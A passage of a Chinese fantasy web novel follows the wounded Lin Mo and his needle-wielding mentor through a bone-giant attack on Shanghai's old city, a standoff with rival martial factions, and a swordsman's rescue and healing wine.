露出下方……一具布满裂痕的、惨白晶莹的……水晶骸骨!
“啊……武魂……守卷……”水晶骸骨的下颌骨开合,发出最后一丝怨毒的意念。
随即。
哗啦!
整具水晶骸骨,连同她脚下的巨大骸骨之门,如同风化的沙雕,瞬间崩解、坍塌!
化作漫天惨白的骨粉!
汹涌扑来的骸骨大军,如同被抽去了灵魂,哗啦啦散落一地,重新变成冰冷的死物。
骸骨荒原的景象如同褪色的油画,迅速模糊、消散。
浑浊的黄浦江水声再次传来。
冷冽的江风灌入小屋。
门外,依旧是那个破旧的小码头。
仿佛刚才那恐怖的亡灵天灾,只是一场噩梦。
噗!
浦江渔火身体一晃,脸色瞬间灰败,一口暗红色的鲜血喷在潮湿的码头上!
他佝偻着背,剧烈喘息,手中的九根银针光芒黯淡,针尖甚至出现了细微的裂痕!
强行催动“九针归元”,引动林默体内星火,代价巨大!
小屋榻上。
林默眼中的暗金火星早已熄灭。
强行引动血脉之力,如同在残破的油灯里又泼进一勺滚油。
剧痛!撕裂般的剧痛席卷全身!
比之前更甚!
他眼前一黑,彻底失去了意识。
只有微弱的呼吸,证明他还活着。
渔火擦去嘴角血迹,踉跄走回小屋。
看着榻上再次陷入昏迷、气息奄奄的林默,看着他焦黑的右手和紧闭流血的左眼。
又看了看手中出现裂痕的九根银针。
最后,目光落在林默怀中,那再次沉寂,却仿佛多了一丝难以言喻灵性的卷轴上。
“火种……终于开始燃烧了么……”他低声自语,带着无尽的疲惫,还有一丝……希望。
“只是这代价……”
他望向门外浑浊汹涌的黄浦江。
魔都的迷雾,更深了。
而骸渊的叩门……
绝不会只有这一次。
那崩散的水晶骸骨粉末深处。
一点微不可察的、带着怨毒与窥视意味的惨绿色火星……
悄然融入浑浊的江水。
顺流而下。
第八章 暗流涌动
浑浊的黄浦江水,裹挟着城市的浮沫与隐秘,无声流淌。
破旧码头小屋。
油灯昏黄。
林默再次从无边的剧痛与黑暗中挣扎醒来。
每一次呼吸都牵扯着撕裂的经脉,左眼如同被熔岩封死,只剩下永恒的灼痛与虚无。右眼视野也蒙着一层血色薄纱。
“呃……”他发出痛苦的**。
“醒了?”浦江渔火的声音在榻边响起,比之前更加沙哑疲惫。
他正小心翼翼地用一块浸着深绿色药膏的棉布,擦拭着那九根银针。针身上细微的裂痕触目惊心,光泽黯淡。
“前……前辈……”林默声音嘶哑,“您……没事吧?”
“死不了。”渔火头也没抬,专注地修复着银针。“倒是你小子,命比蟑螂还硬。武魂血脉,有点意思。”
他放下棉布,拿起一根修复了大半的银针,针尖对准林默焦黑的右手掌心。
“忍着点。”
话音未落!
嗤!
银针精准刺入焦糊皮肉下的“劳宫”穴!
一股比之前更加精纯、更加霸道的能量,如同烧红的铁钎,狠狠捅进林默残破的经脉!
“啊——!”林默身体剧震,如同离水的鱼!冷汗瞬间浸透粗布衣衫!
剧痛!比白骨夫人的寒气更甚!仿佛要将残存的生机彻底焚毁!
“叫什么叫!”渔火冷喝,眼神却异常凝重。“‘天工火’反噬,加上强行引动血脉,你这两条胳膊算是废了一半!不把里面的‘火毒’和‘死气’拔干净,等它们顺着经脉烧到心脉,神仙难救!”
他手指捻动针尾。
那股霸道的能量在林默掌心和手臂的残破经脉中反复冲刷、切割!
如同刮骨疗毒!
林默痛得几乎昏厥,牙齿咬得咯咯作响,右眼布满血丝,却死死忍住不再出声。
渔火浑浊的眼中,掠过一丝微不可察的赞许。
“哼,还有点骨气。”他捻针的动作放缓了一丝,能量也变得温和些许。“记住这痛!记住是谁让你落到这步田地的!”
“骸……渊……”林默从牙缝里挤出两个字。
“不止。”渔火收回银针,掌心的焦黑似乎淡了一点点,但麻木感依旧。“魔都这潭水,浑着呢。”
他目光投向窗外浑浊的江水。
“圣堂科技的‘眼睛’,可没离开过这片江面。金刚门那群假洋鬼子,在闸北的堂口最近热闹得很。还有……”
他顿了顿,声音更低。
“那天崩散的白骨粉末里,藏了点‘脏东西’,顺着江水流走了。”
林默心头一凛!惨绿的火星!
“它会……”
“不知道。”渔火干脆道。“可能是某个倒霉蛋被寄生,也可能是污染水源,或者……在某个角落积攒力量,准备下一次叩门。”
他站起身,活动了一下僵硬的腰背。
“所以,小子,想活命,想报仇,想完成陈守拙他们用命托付的使命……”
渔火俯视着林默,眼神锐利如刀。
“就得先让你这半死不活的身子骨,能动起来!”
“怎么……动?”林默喘息着问。
“靠你自己!”渔火指向他心口。“靠你血脉里那点不肯灭的‘火’!靠你脑子里那点……破妄的灵光!”
他走到墙角一个破旧的樟木箱前,翻找起来。
“但在这之前……”
哗啦!
渔火从箱底扯出一件叠得整整齐齐、却同样洗得发白、打着补丁的靛蓝色粗布褂子。
和他身上那件,一模一样。
“穿上!”他把褂子丢到林默身上。“以后,你就是这‘浦江渔火’的小学徒。”
小学徒?
林默看着那件充满汗味和鱼腥气的旧褂子。
从纽约拾古斋的混血小子,到魔都浦江边的……渔火学徒?
命运,真是荒诞。
但他没有犹豫。
用颤抖的、勉强能动的手指,艰难地套上那件粗布褂子。
布料摩擦着伤口,带来新的刺痛。
却也带来一丝……奇异的归属感。
仿佛披上了一层无形的铠甲。
“很好。”渔火点点头。“第一步,吃饭!”
他变戏法似的从角落提出一个油腻的竹篮,里面是几个冷硬的馒头和一条咸鱼干。
“吃了它!恢复点力气,跟我出去一趟!”
“去哪?”林默抓起冷馒头,艰难地啃着。
“找人,修针!”渔火摩挲着手中裂纹的银针。“顺便,探探这魔都的水……到底有多浑!”
黄昏。
魔都,老城厢。
狭窄的弄堂如同迷宫,青石板路被岁月磨得光滑。空气里混杂着煤炉的烟火气、隔夜马桶的骚臭、还有不知名小吃的油腻香味。
林默穿着不合身的粗布褂子,像个真正的学徒,亦步亦趋地跟在佝偻的渔火身后。
每走一步,残破的身体都传来钻心的痛。左眼的缺失,让他平衡感极差,右眼的血色视野也让他看东西模糊扭曲。
周围是熙攘的人流,吴侬软语,自行车铃声。
但林默却感到一种格格不入的冰冷。
他能感觉到。
那些看似寻常的目光里,夹杂着审视、好奇……甚至贪婪!
圣堂的眼线?金刚门的探子?还是……被骸渊污染的怪物?
“别东张西望!”渔火头也不回,声音低沉。“低头,走路!”
林默赶紧低下头。
渔火熟门熟路地拐进一条更窄、更暗的死胡同。
尽头,是一扇不起眼的、包着铁皮的厚实木门。
门楣上,挂着一个巴掌大的、布满油污的木头牌子,刻着一个极其复杂、如同精密齿轮嵌套的古老篆字——
【巧】
渔火上前,用特定的节奏,轻重不一地叩击铁皮门。
三长,两短,一重。
吱呀——
铁皮门上的一个小窗口拉开。
一双锐利如鹰隼、布满血丝的眼睛,警惕地扫了出来。
看到渔火,眼中的警惕稍缓。
“老火头?稀客啊!后面那生瓜蛋子是谁?”声音嘶哑干涩。
“新收的学徒,哑巴。”渔火言简意赅。“找老铁头修点东西。”
小窗口关上。
片刻。
沉重的机括声响起,铁皮门缓缓向内打开。
一股浓烈刺鼻的机油、金属粉尘、还有某种奇异生物油脂混合的味道,扑面而来!
门后。
是一个巨大得超乎想象的……地下工坊!
齿轮轰鸣!蒸汽嘶吼!
无数大小不一的黄铜齿轮、精密的金属连杆、闪烁着微弱
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能量光芒的奇异水晶管道,在天花板和墙壁上纵横交错,构成一个庞大而复杂的动力系统!
地面堆满了各种奇形怪状的金属零件、半成品的机械造物、甚至还有一些散发着微弱能量波动的……生物残骸?
工坊中央。
一个身高不足一米五、却异常敦实粗壮的老头,正挥舞着一柄巨大的、通体赤红的锻造锤,狠狠砸在一块烧得白炽的、布满裂纹的银白色金属上!
铛!!!!
火星四溅!巨大的声浪在密闭空间内回荡!
每一锤落下,都带着开山裂石的恐怖力量,精准地落在金属的裂纹处!
那赤红的锤头上,竟隐隐浮现出玄奥的火焰纹路!
“老铁头!生意上门了!”渔火扯着嗓子喊。
铛!
最后一锤落下!
那块布满裂纹的银白金属,在赤红光芒中,裂纹竟以肉眼可见的速度弥合!表面流淌着水银般的光泽!
矮壮老头(老铁头)将锻造锤往旁边一人高的铁砧上一扔,发出沉闷巨响。
他转过身。
满脸横肉,虬髯如钢针,一只眼睛是闪烁着红光的机械义眼。
另一只正常的眼睛,锐利地扫过渔火,最后定格在林默身上。
那目光,仿佛能穿透皮肉,看到骨骼和经脉的每一处损伤!
“啧!”老铁头嗤笑一声,声音如同砂纸摩擦。“老火头,你从哪个垃圾堆里刨出来这么个破烂玩意儿?经脉跟破渔网似的,眼睛还瞎了一只?当学徒?给你养老送终都嫌晦气!”
林默被看得浑身不自在。
渔火却浑不在意,把手中九根裂纹银针递过去。
“少废话!修针!用最好的‘星髓’补!”
老铁头接过银针,机械义眼红芒闪烁,仔细扫描。
“嘶——九针定海?裂纹这么深!你碰见啥了?捅了阎王爷的腚眼?”他抬头,独眼盯着渔火。
“骸渊的爪牙,白骨叩门。”渔火声音平淡。
老铁头脸上的横肉猛地一抖!独眼中爆出骇然精光!
“骸渊?!**……”他骂了半句,硬生生憋住,再次看向林默,眼神变得无比凝重和……复杂。
“这小子……就是‘钥匙’?”
渔火没回答,算是默认。
老铁头深吸一口气,浓烈的机油味仿佛能压住他心中的惊涛骇浪。
他不再废话,转身走向工坊深处一个被层层能量护罩保护的锻造台。
“星髓有!价格翻三倍!外加……你欠我个人情!”
“成交!”渔火毫不犹豫。
老铁头开始操作复杂的仪器,准备修复银针。
就在这时!
轰——!!!
一声沉闷的巨响,夹杂着凄厉的尖叫和人群的惊恐哭喊,猛地从工坊上方、隔着厚厚的土层传来!
紧接着!
咚!咚!咚!
沉重的撞击声,如同巨锤砸地,由远及近!伴随着令人牙酸的骨骼扭曲声和……野兽般的低吼!
一股森寒、暴虐、带着腐烂甜腥的熟悉气息……
透过土层缝隙!
渗透而下!
林默仅剩的右眼瞳孔猛地收缩!
视野中,血色弥漫!
而在那血色深处,一点惨绿色的、充满怨毒的火星……
正疯狂跳动!
第九章 黄泉逆鳞
轰!轰!轰!
沉重的撞击声如同地狱的丧钟,透过厚厚的土层,震得天工坊的齿轮都在嗡鸣!
凄厉的尖叫和人群的哭喊,在黄昏的老城厢上空回荡,迅速被一种更恐怖的、骨骼扭曲的“咔嚓”声和野兽般的低吼淹没!
森寒!暴虐!腐烂的甜腥气!
如同无形的冰水,瞬间灌满了整个地下工坊!
“**!”老铁头猛地丢下手中修复一半的银针,赤红的锻造锤瞬间抄在手中!机械义眼红芒爆闪!“那鬼东西找上门了?!”
浦江渔火脸色铁青,一步挡在林默身前,佝偻的身躯绷紧如弓!九根裂纹银针悬浮身前,发出急促嗡鸣!
“不是找我们!”渔火声音冰冷,“是上面!惨绿火星……寄生成功了!在制造混乱!”
林默仅剩的右眼,瞳孔被血色彻底占据!
视野中,头顶的土层仿佛变得透明!
他“看”到!
弄堂口!
一个原本佝偻着背收破烂的老头,身体正发生着恐怖的畸变!
惨绿色的火星在他胸腔内疯狂燃烧!
他的皮肤如同蜡般融化,露出下方惨白的、正在疯狂增生扭曲的骨骼!脊椎刺破皮肉,如同一条白骨蜈蚣向上延伸!双臂骨骼暴涨,末端化作两柄巨大的、滴着粘液的骨刃!
头颅被增生膨胀的颈骨顶得高高昂起,下颚骨撕裂,发出非人的咆哮!
短短数息!
一个高达三米、浑身覆盖着扭曲增生骨甲、散发着浓烈死气与深渊气息的……白骨巨人!
诞生了!
“吼——!!!”
白骨巨人空洞的眼眶里,燃烧着两团与白骨夫人同源的惨绿魂火!它挥舞着巨大的骨刃,如同失控的绞肉机,疯狂劈砍着周围的一切!
青石板碎裂!墙壁崩塌!来不及逃走的行人,如同脆弱的布偶,瞬间被撕裂!鲜血与残肢飞溅!
混乱!死亡!如同瘟疫般蔓延!
“是‘黄泉逆鳞’!”渔火眼中厉色一闪,“骸渊污染的最低级爪牙,但破坏力惊人!必须立刻清除!否则整条街都得完蛋!”
“清除?老子工坊上头就是居民区!”老铁头怒吼,锻造锤上的火焰纹路亮起,“干它!”
轰隆!
天工坊顶部厚重的金属隔板猛地向上弹开!露出直通地面的通道!
“小子!跟紧!”渔火低喝一声,九针环绕,身如鬼魅,率先冲了上去!
老铁头如同人形暴龙,挥舞着赤红巨锤,紧随其后!
林默咬牙,强忍全身剧痛和左眼失衡,踉跄跟上!每一步都如同踩在刀尖!
地面。
人间地狱。
夕阳的余晖被浓重的血腥和死气掩盖。
白骨巨人正将一栋两层老式砖木小楼拦腰斩断!木屑砖石横飞!里面传来惊恐的哭喊!
“孽障!住手!”渔火须发皆张,怒喝如雷!
“九针!定魂!”
咻!咻!咻!
三根银针化作三道银色流星,带着净化邪祟的浩然正气,直射白骨巨人眼眶中的惨绿魂火!
铛!铛!铛!
白骨巨人反应极快!巨大的骨刃挥舞,竟精准地格飞了两根银针!第三根勉强擦过它的颅骨,留下焦黑的痕迹,却未能命中魂火!
“吼!”白骨巨人被激怒,舍弃倒塌的小楼,惨绿魂火锁定渔火,巨大的骨刃带着撕裂空气的尖啸,当头劈下!势大力沉!
“给老子滚开!”老铁头咆哮而至!
“雷火!开山!”
赤红的锻造锤带着风雷之声和炽热的火焰纹路,自下而上,悍然迎击骨刃!
铛——!!!!!!!
震耳欲聋的金铁交鸣!
赤红火焰与惨绿死气疯狂对撞!冲击波将周围废墟掀飞!
老铁头闷哼一声,脚下青石板寸寸龟裂!矮壮的身体被巨力震得连连后退!
白骨巨人的骨刃也被崩开一个缺口!但它的力量显然更胜一筹!
“妈的!骨头真硬!”老铁头甩了甩发麻的手臂。
渔火眼神凝重,九针齐出,如同穿花蝴蝶,不断袭扰白骨巨人的关节和魂火,试图寻找破绽。但白骨巨人骨甲厚重,魂火深藏,动作虽略显笨拙,防御却滴水不漏!
战斗陷入僵持!
每一次碰撞的余波,都对脆弱的弄堂造成毁灭性打击!更多无辜者陷入险境!
林默躲在断墙后,右眼死死盯着那疯狂肆虐的白骨巨人。
视野中的血色越来越浓!
那两团惨绿魂火,在血色背景中,如同黑夜中的灯塔,无比清晰!
但清晰,带来的是更深的无力!
经脉寸断!武魂本源枯竭!连站稳都困难!如何破敌?
渔火前辈的银针被骨刃格挡!
老铁头力量被压制!
怎么办?!
绝望如同冰冷的毒蛇,噬咬着心脏。
就在此时!
怀中那沉寂的卷轴,再次传来一丝微弱的悸动!
这一次,不再是愤怒。
而是一种……源自血脉深处的共鸣!
仿佛干涸大地对甘霖的渴望!
“火……”一个微弱的声音在林默心底响起,分不清是卷轴,还是他自己的意志。“……需要……火……”
火?
林默茫然。
他体内哪还有火?只有一片被天工火反噬后的焦土废墟!
“薪火……”那声音再次响起,带着引导的意味。
薪火?
渔火前辈的话在耳边回荡——“靠你血脉里那点不肯灭的‘火’!”
是了!
不是那狂暴焚灭一切的“天工火”!
而是血脉深处,那点守护的意志!那点不肯熄灭的……星火!
陈伯佝偻却挺直的背影!梆子刘决绝的梆响!礁石船长引动的惊涛!还有……渔火前辈挡在身前的佝偻身躯!
一幅幅画面在血色视野中闪过!
悲痛!愤怒!守护!
这些炽烈的情感,如同滚烫的油,浇在血脉深处那点微弱的火星上!
嗡!
林默残破的丹田,那如同死灰的焦土中,一点微弱到极致的、却无比纯粹坚韧的……暗金色火星!
猛地亮起!
虽然微弱,却带着焚尽黑暗、点燃希望的无上意志!
“呃啊!”林默发出一声压抑到极致的低吼!仅剩的右眼,瞳孔深处,那点暗金火星瞬间放大!
一股微弱却凝练无比的意志力,如同无形的丝线,顺着他“破妄”的视线,猛地刺向白骨巨人左眼眶中的惨绿魂火!
这不是能量攻击!
而是……意志的冲击!武魂星火对深渊污秽的本能焚烧!
嗤——!
如同烧红的针尖刺入冰水!
白骨巨人左眼眶中的惨绿魂火,猛地一暗!剧烈摇曳起来!
它狂暴的动作,瞬间出现了一丝极其短暂的僵直!
“就是现在!”渔火何等老辣!瞬间捕捉到这千载难逢的破绽!
“九针归元!破妄!”
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这一次,目标直指白骨巨人左眼那被林默星火意志撼动的魂火!
九道银光再次合一!带着比之前更决绝的气势!撕裂空气!
“给老子死!”老铁头也爆发出全部力量!赤红锻造锤雷火交织,狠狠砸向白骨巨人的右腿膝盖!
白骨巨人右眼的魂火疯狂跳动,试图格挡渔火的银梭,却因左眼魂火受创而反应慢了半拍!
噗嗤!
银色光梭,精准无比地贯入左眼惨绿魂火!
同时!
咔嚓!
老铁头的雷火重锤,狠狠砸碎了它右腿的增生骨甲和支撑骨!
“嗷——!!!”
白骨巨人发出惊天动地的惨嚎!
左眼眶魂火彻底熄灭!右腿折断,庞大的身躯轰然向一侧倾倒!
压倒了一片残垣断壁!
然而!
就在它倒下的瞬间!
它胸腔内那颗疯狂燃烧的惨绿火星,猛地爆发出最后的光芒!
它断裂的右腿骨茬处,无数惨白的骨刺如同活物般疯狂增生、扭曲、蔓延!瞬间覆盖了周围大片区域!形成一片狰狞的骨刺丛林!尖端闪烁着幽绿的光芒!
“黄泉逆鳞!”渔火脸色一变,拉着力竭的林默急退!
“小心!骨刺有毒!”
嗖!嗖!嗖!
几道身影,如同鬼魅般出现在周围残破的屋顶和断墙上。
“啧啧,好热闹啊。”
一个阴柔的声音响起,带着浓重的咖喱味英语。
一个皮肤黝黑、身形枯瘦、裹着脏污黄布的身影,盘坐在一根断裂的烟囱上。他双手结着奇异的印诀,周身散发着湿冷、粘稠的气息。眉心一点朱砂,殷红如血。
“湿婆神拳,迦楼罗。”渔火眼神凝重。
“阿弥陀佛。”一声温和的佛号在另一侧响起。
一个穿着洗得发白僧袍、面容悲苦的老和尚,赤着双足站在一面断墙上。他双手合十,周身却隐隐有金刚怒目的虚影闪现。
“金刚门,苦竹。”老铁头啐了一口,“假慈悲!”
更远处。
一个穿着笔挺银色风衣、金发碧眼的高大身影,静静矗立在阴影中。他手中把玩着一枚不断旋转的、刻满符文的金属立方体,眼神冷漠地扫过战场,最后停留在力竭的林默身上。
“圣堂科技,第三执行官,‘辉光’。”他淡淡开口,纯正的美式英语。
全球武道(异能)强者,闻风而至!
白骨巨人的威胁尚未解除,新的危机已然降临!
废墟之上。
林默靠在渔火身后,右眼勉强睁开。
血色视野中,那倒地的白骨巨人胸腔内,惨绿火星正在疯狂抽取周围死亡的气息,试图重新凝聚!
而新出现的三**者……
湿婆神拳迦楼罗的气息,如同恒河淤泥,阴冷粘稠,锁定了渔火!
金刚门苦竹,看似悲悯,气机却如同怒目金刚,隐隐笼罩老铁头!
圣堂“辉光”,手中旋转的立方体散发出危险的空间波动,目标……赫然是虚弱的林默!
“呵……”林默咳出一口带着暗淡金丝的血沫。
他感受着丹田内那点微弱却不肯熄灭的暗金星火。
又看了看怀中那沉寂的卷轴。
最后。
目光扫过废墟中惊恐的幸存者,扫过挡在身前的佝偻背影。
右眼瞳孔深处,那点星火……
第一次,在没有剧痛和愤怒的驱使下。
安静地……
燃烧了起来。
第十章 废墟薪焰
残阳如血,泼洒在魔都老城厢的断壁残垣之上。
血腥、焦糊、死气混杂,如同沉重的铅块,压在幸存者心头。
倒塌的砖木小楼前。
白骨巨人半跪于地,左眼魂火熄灭,空洞一片。右腿折断处,狰狞的骨刺丛林幽绿闪烁,毒气弥漫。
渔火挡在林默身前,九针悬空,针尖裂纹在余晖下触目惊心,气息急促。
老铁头赤红锻造锤拄地,汗如雨下,机械义眼红芒闪烁,死死盯着右腿骨刺丛林。
三**者,分立三方。
湿婆神拳迦楼罗盘坐烟囱,黄布飘飞,湿冷粘稠的气息如同无形的蛛网,悄然罩向渔火。
“老东西,交出那半卷图,湿婆神拳可助你**此獠。”迦楼罗阴柔开口,咖喱味英语带着诱惑。
金刚门苦竹立于断墙,僧袍猎猎,悲苦面容下,金刚怒目虚影若隐若现,气机锁定老铁头。
“阿弥陀佛,此等邪秽,当由我佛门金刚之力,彻底净化。老铁施主,莫要自误。”
阴影中。
圣堂“辉光”第三执行官,手中符文立方体旋转加速,空间波动扭曲了光线,冷漠目光越过渔火,直刺林默。
“钥匙,坐标锁定。清除污染源后,移交圣堂。”
三方话语,或诱惑,或威逼,或冷漠。
目标,直指林默和卷轴!
废墟之上,空气凝固,杀机四伏!
“放**罗圈屁!”老铁头怒骂,锤头雷火再燃!“魔都的东西,轮不到你们这群牛鬼蛇神指手画脚!”
渔火沉默,佝偻的背脊却挺得笔直,九针嗡鸣,针尖直指白骨巨人右眼魂火与胸中惨绿火星。
“先除秽!”
就在这千钧一发之际!
铮——!
一道清越悠扬、仿佛涤荡尘埃的剑鸣,自长街尽头响起!
其声如玉磬,其意似清泉!
瞬间冲散了弥漫的死气与粘稠的湿冷!
一道身影,踏着残阳余晖而来。
霜白衣袍,不染纤尘。身姿挺拔如孤峰青松。
腰间悬一柄古朴连鞘长剑,剑柄缠着褪色的青色剑穗,随风轻摇。
面容清俊,约莫二十许岁,眼神却澄澈温润,如同深秋寒潭,映照着这满目疮痍。
他步履从容,仿佛踏青而非行于废墟。周身气息内敛,却自有一股宁折不弯的锋锐清气,与这污浊死地格格不入。
“好重的死气,好烈的邪怨。”来人声音清朗平和,带着古雅的韵味,目光扫过白骨巨人胸中那团惨绿火星,眉头微蹙。“此等污浊,当以剑涤之。”
他的目光掠过对峙的四方,在力竭的林默身上微微一顿,澄澈的眼中闪过一丝讶异,随即恢复平静。
“蜀山,谢清徵。”他对着废墟中央,微微颔首,算是见过。“奉师命下山,游历红尘,感应此地邪气冲天,特来一观。”
蜀山!
这两个字,如同投入死水潭的石子,瞬间激起涟漪!
迦楼罗盘坐的身形微微一僵,眉心朱砂红芒闪烁。
苦竹和尚合十的双手紧了紧,金刚虚影波动。
辉光执行官手中的立方体旋转速度微不可察地一滞。
渔火眼中精光一闪,紧绷的气息缓和一丝。
老铁头嘟囔一句:“蜀山的牛鼻子?看着倒比秃驴顺眼点。”
“蜀山?”迦楼罗阴柔一笑,声音带着忌惮,“剑仙也要插手这凡俗污秽之地?”
谢清徵目光澄澈,看向迦楼罗:“邪秽不分地域,斩妖除魔,乃我辈本分。阁下气息湿冷怨毒,与这污浊同源,也需小心。”
话语平和,却如利剑直指!
迦楼罗脸色一沉。
“阿弥陀佛。”苦竹开口,“谢施主剑心通明,当知此间邪秽根源,在于那身怀祸种之少年。交由我佛门……”
“根源?”谢清徵打断他,澄澈目光看向白骨巨人胸中那疯狂汲取死亡气息的惨绿火星。“那污秽之源,正在此獠胸中燃烧。至于这位小兄弟……”
他目光再次落在林默身上。
林默仅剩的右眼与他对视。血色视野中,此人周身清气缭绕,澄澈如琉璃,与周围污浊死气泾渭分明!
“他体内虽有异种火气肆虐,经脉枯竭,但……心口一点星火,至纯至阳,隐有燎原之志,绝非祸种。”谢清徵声音清朗,带着一丝不易察觉的欣赏。“倒像是……”
他顿了顿,没有说下去,转而看向白骨巨人。
“当务之急,是斩灭此獠,净化污秽,以免生灵再遭涂炭。”
话音落。
铮!
腰间长剑未出鞘,一道凝练如实质的青色剑气,却已凭空而生!
剑气清冷,带着涤荡寰宇、斩断邪妄的无上意志!
直斩白骨巨人胸腔那团惨绿火星!
快!净!决!
“放肆!”迦楼罗低喝,枯手结印,一道粘稠污浊的黄光射向剑气!
苦竹和尚金刚虚影一掌拍出,金色佛掌带着**之力!
辉光执行官手中立方体射出一道扭曲的空间波纹!
三方竟同时出手阻拦!
他们都想得到那蕴含骸渊力量的惨绿火星!
“哼!”渔火与老铁头岂会坐视?
“定!”渔火九针齐出,三针定向迦楼罗黄光轨迹,三针扰乱空间波纹波动,三针直刺苦竹金刚虚影掌心!
“砸!”老铁头赤红重锤雷火再起,悍然撞向苦竹的金刚佛掌!
轰!轰!轰!
能量碰撞的乱流再次爆发!
谢清徵那道青色剑气,却在混乱中,如同游鱼般灵动,精准地避开了大部分阻截!
噗嗤!
剑气精准贯入白骨巨人胸腔!
正中那团惨绿火星!
“嗷——!!!”
白骨巨人发出最后的、凄厉到灵魂深处的惨嚎!
青色剑气如同投入滚油的冷水,在惨绿火星内部疯狂爆发、净化!
嗤嗤嗤——!
浓郁的黑气被强行蒸发!火星疯狂摇曳、黯淡!
白骨巨
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人庞大的身躯剧烈抽搐,覆盖全身的增生骨甲以肉眼可见的速度失去光泽、崩解、化作惨白的粉末!
那狰狞的骨刺丛林,也迅速枯萎、断裂!
几个呼吸间!
庞大的白骨巨人,连同那致命的骨刺毒林,彻底化为地上厚厚一层失去活性的惨白骨粉!
只有中心一点极其微弱的惨绿余烬,在骨粉中明灭不定,却再无复燃之力。
尘埃落定。
废墟陷入短暂的死寂。
迦楼罗脸色阴沉如水,黄布无风自动。
苦竹和尚低宣佛号,悲苦面容下眼神闪烁。
辉光执行官收起立方体,深深看了一眼谢清徵和林默,身影无声无息融入阴影,消失不见。
“哼!算你们走运!”迦楼罗阴恻恻留下一句,身形如烟雾般消散。
苦竹和尚深深看了一眼谢清徵和渔火,合十一礼,也飘然退去。
危机,暂时解除。
噗!
渔火身体一晃,一口鲜血涌上喉咙,又被他强行咽下,脸色灰败。
老铁头也喘着粗气,锤头拄地。
谢清徵走到那堆骨粉前,澄澈目光凝视着那点微弱的惨绿余烬。
他从腰间解下一个青皮葫芦,拔开塞子。
一股清冽的酒香弥漫开来。
“一点污秽余烬,也敢存留人间?”他屈指一弹。
一滴晶莹的酒液落入骨粉。
嗤——!
惨绿余烬瞬间被净化,彻底消失。
他收起葫芦,转身走向林默。
“小兄弟,你体内火毒与死气交织,经脉枯焦,本源受损。”谢清徵声音温和,“若不及时疏导,恐伤根基。”
他解下腰间那青皮葫芦,递向渔火。
“此乃蜀山‘洗剑泉’所酿青霖酒,一滴外敷可拔除火毒死气,半滴内服可温养经脉本源。前辈可酌情使用。”
渔火接过葫芦,入手温润,隐有剑气流转,绝非凡品。
“蜀山青霖酒?”渔火动容,“此等厚礼……”
“济世为怀,何分厚薄?”谢清徵微微一笑,如清风拂面。他目光再次落在林默心口,澄澈的眼中似有深意。
“薪火虽微,其志可嘉。望珍重。”
言罢,他对着渔火和老铁头微微颔首。
霜白衣袍飘动,转身。
踏着废墟与暮色,飘然而去。
如同来时一般,不带走一片云彩。
废墟之上。
幸存的居民开始小心翼翼地走出藏身处,哭泣声、呼喊声响起。
渔火握着温润的葫芦,看着谢清徵消失的方向。
老铁头咂咂嘴:“蜀山的牛鼻子……有点意思。”
林默靠在断墙上,右眼望着那消失的白色身影。
丹田内,那点微弱的暗金星火,在“薪火”二字入耳时,轻轻跳动了一下。
如同回应。
废墟之中,劫后余生的悲泣与希望交织。
而魔都的迷雾,似乎被这一道清冽的剑光,短暂地……
撕开了一角。
第十一章 青霖洗脉
破旧码头小屋。
昏黄油灯下。
青皮葫芦静静置于案几,温润如玉,隐有清冽酒香与微不可察的剑气流转。
浦江渔火面色凝重,枯瘦的手指捻着一根修复了大半的银针,针尖对准葫芦口。
“蜀山青霖酒,洗剑泉所酿,蕴含先天乙木精粹与涤荡剑意。”他声音低沉,“一滴,已是莫大机缘。小子,能否抓住,看你造化。”
林默盘坐于厚厚干草铺上,粗布褂子敞开,露出瘦削却布满伤痕的上身。
焦黑的右手掌心向上,左眼空洞覆着药布,仅存的右眼紧闭,眉头紧锁。
体内,天工火反噬的灼痛、白骨死气的阴寒、经脉寸断的麻木,如同三股恶龙,在残破的躯体里疯狂撕咬。
每一次呼吸,都像是吞下烧红的刀片。
“前辈……开始吧。”他声音嘶哑,却带着不容置疑的坚定。
渔火微微颔首。
指尖轻引。
一滴晶莹剔透、宛如翡翠凝露的酒液,从葫芦口缓缓升起,悬于针尖之上!
嗡!
酒液离葫的刹那,清冽的酒香陡然浓郁!小屋内的空气仿佛被无形之手洗涤,污浊尽去,只余草木初生般的清新!
更有一丝若有若无、却锐利无匹的剑意,蕴藏其中!
“引!”
渔火低喝,银针如电,精准刺入林默心口“膻中”大穴!
嗤——!
那滴青霖酒液,顺着针尖,瞬间没入!
轰!
如同九天银河倒灌入干涸的熔岩峡谷!
无法形容的清凉洪流,带着沛然的生机与涤荡一切的锋锐剑意,瞬间席卷林默四肢百骸!
“呃啊啊啊——!”
林默身体猛地绷直如弓!仰头发出一声不似人声的惨嚎!
痛!
极致的痛!
那清凉并非抚慰,而是最狂暴的冲刷与切割!
天工火残留的霸道火毒,如同遇到克星,发出“滋滋”的哀鸣,被强行剥离、湮灭!
白骨死气的阴寒怨毒,在清冽剑意面前,如同冰雪消融,迅速溃散!
但更痛苦的,是那蕴含乙木精粹的生机洪流,如同亿万根烧红的细针,狠狠扎进他枯焦断裂的经脉,强行贯通、接续、滋养!
如同将破碎的琉璃,用滚烫的铁水重新熔铸!
每一次“熔铸”,都伴随着灵魂撕裂般的剧痛!
林默全身青筋暴起,汗如浆出,瞬间湿透粗布衣!牙齿咬得咯咯作响,嘴角溢出血沫,右眼眼角甚至渗出血泪!
“守住心神!引导那点星火!”渔火厉喝,手中银针不停,引导青霖酒的力量精准流向各处重创节点!
星火!
丹田深处,那点微弱的暗金星火!
在青霖酒狂暴的生机与剑意冲击下,这点星火如同暴风雨中的烛苗,疯狂摇曳,几欲熄灭!
但林默的意识,在无边的剧痛中,死死锁定了它!
陈伯修补古籍的侧影……梆子刘决绝的梆响……礁石船长引动的惊涛……谢清徵澄澈的剑光……还有那句“薪火虽微,其志可嘉”!
一幅幅画面,如同滚烫的烙印,狠狠印在灵魂深处!
“烧……起来……”林默在灵魂深处无声嘶吼!
守护的意志!不屈的信念!化作最纯粹的燃料!
嗡!
那点摇曳欲熄的暗金星火,猛地爆发出前所未有的光芒!
虽然依旧微弱,却坚韧如钢!牢牢扎根于丹田焦土!
它不再是被动承受,而是主动迎向那青霖酒狂暴的生机洪流!
嗤嗤嗤——!
星火与乙木精粹接触!
没有**,没有湮灭!
那狂暴的生机洪流,竟被这微弱的星火……一丝丝地……点燃!同化!
如同薪柴投入火种!
星火的光芒,以肉眼可见的速度……壮大了一丝!
虽然只有一丝,却是一个质变!
那被星火点燃、同化的青霖之力,不再仅仅是修复,更带上了一丝暗金的、属于林默自身“薪火”的独特气息!
